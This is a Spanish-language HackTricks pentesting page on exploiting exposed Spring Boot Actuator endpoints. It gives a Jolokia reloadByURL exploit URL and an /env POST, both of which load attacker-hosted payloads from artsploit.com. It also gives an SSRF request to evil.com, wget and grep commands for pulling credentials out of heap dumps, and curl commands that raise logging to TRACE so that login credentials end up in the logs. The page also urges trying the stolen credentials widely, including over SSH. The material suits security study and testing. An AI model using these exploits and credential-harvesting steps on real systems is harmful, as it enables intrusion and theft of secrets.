Spring Actuators

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Spring Auth Bypass

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Explotando Spring Boot Actuators

Consulta la publicación original en [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Puntos clave:

  • Spring Boot Actuators registran endpoints como /health, /trace, /beans, /env, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. Desde la versión 1.5 en adelante, solo /health y /info son no sensibles por defecto, pero los desarrolladores a menudo desactivan esta seguridad.
  • Ciertos endpoints de Actuator pueden exponer datos sensibles o permitir acciones dañinas:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, y /heapdump.
  • En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x están bajo la ruta base /actuator/.

Técnicas de explotación:

  1. Remote Code Execution via '/jolokia':
  • El endpoint /jolokia expone la Jolokia Library, que permite acceso HTTP a MBeans.
  • La acción reloadByURL puede ser explotada para recargar configuraciones de logging desde una URL externa, lo que puede llevar a blind XXE o Remote Code Execution vía configuraciones XML manipuladas.
  • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Modificación de configuración vía '/env':
  • Si están presentes Spring Cloud Libraries, el endpoint /env permite la modificación de propiedades del entorno.
  • Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en la serviceURL de Eureka.
  • Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Otras configuraciones útiles:
  • Propiedades como spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, y spring.datasource.tomcat.max-active pueden ser manipuladas para varios exploits, como SQL injection o alterar cadenas de conexión a la base de datos.

Información adicional:

  • Una lista completa de actuadores por defecto puede encontrarse here.
  • El endpoint /env en Spring Boot 2.x usa formato JSON para la modificación de propiedades, pero el concepto general permanece igual.

Temas relacionados:

  1. Env + H2 RCE:
  • Detalles sobre cómo explotar la combinación del endpoint /env y la base de datos H2 pueden encontrarse here.
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • El manejo que hace el framework Spring de los matrix parameters (;) en los pathnames HTTP puede ser explotado para Server-Side Request Forgery (SSRF).
  • Example exploit request:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Extracción de secretos desde HeapDump (credenciales, tokens, URLs internas)

Si /actuator/heapdump está expuesto, normalmente puedes obtener un snapshot completo del heap JVM que frecuentemente contiene secretos en vivo (credenciales de BD, API keys, Basic-Auth, URLs internas de servicios, mapas de propiedades de Spring, etc.).

  • Descargar y triage rápido:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Análisis más profundo con VisualVM y OQL:
  • Abre el heapdump en VisualVM, inspecciona instancias de java.lang.String o ejecuta OQL para buscar secretos:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Extracción automatizada con JDumpSpider:
bash
java -jar JDumpSpider-*.jar heapdump

Hallazgos típicos de alto valor:

  • Objetos Spring DataSourceProperties / HikariDataSource que exponen url, username, password.
  • Entradas OriginTrackedMapPropertySource que revelan management.endpoints.web.exposure.include, puertos de servicio y Basic-Auth embebido en URLs (p. ej., Eureka defaultZone).
  • Fragmentos HTTP de request/response en texto plano que incluyen Authorization: Basic ... capturados en memoria.

Consejos:

  • Usa una wordlist enfocada en Spring para descubrir endpoints de actuator rápidamente (p. ej., SecLists spring-boot.txt) y revisa siempre si /actuator/logfile, /actuator/httpexchanges, /actuator/env y /actuator/configprops también están expuestos.
  • Las credenciales extraídas del heapdump a menudo funcionan para servicios adyacentes y, a veces, para usuarios del sistema (SSH), así que pruébalas ampliamente.

Abusar de los loggers/logging de Actuator para capturar credenciales

Si management.endpoints.web.exposure.include lo permite y /actuator/loggers está expuesto, puedes incrementar dinámicamente los niveles de log a DEBUG/TRACE para paquetes que manejan autenticación y el procesamiento de requests. Combinado con logs accesibles (vía /actuator/logfile o rutas de logs conocidas), esto puede filtrar credenciales enviadas durante los flujos de login (p. ej., headers Basic-Auth o parámetros de formulario).

  • Enumera y sube el nivel de loggers sensibles:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Localiza dónde se escriben los logs y extrae:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • Genera tráfico de login/autenticación y analiza el log en busca de credenciales. En setups de microservicios con un gateway delante de la auth, habilitar TRACE para los paquetes del gateway/seguridad suele dejar visibles headers y cuerpos de formularios. Algunos entornos incluso generan tráfico de login sintético periódicamente, haciendo la recolección trivial una vez que el logging es verboso.

Notas:

  • Resetea los niveles de log cuando termines: POST /actuator/loggers/<logger> con { "configuredLevel": null }.
  • Si /actuator/httpexchanges está expuesto, también puede exponer metadata de requests recientes que puede incluir headers sensibles.

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks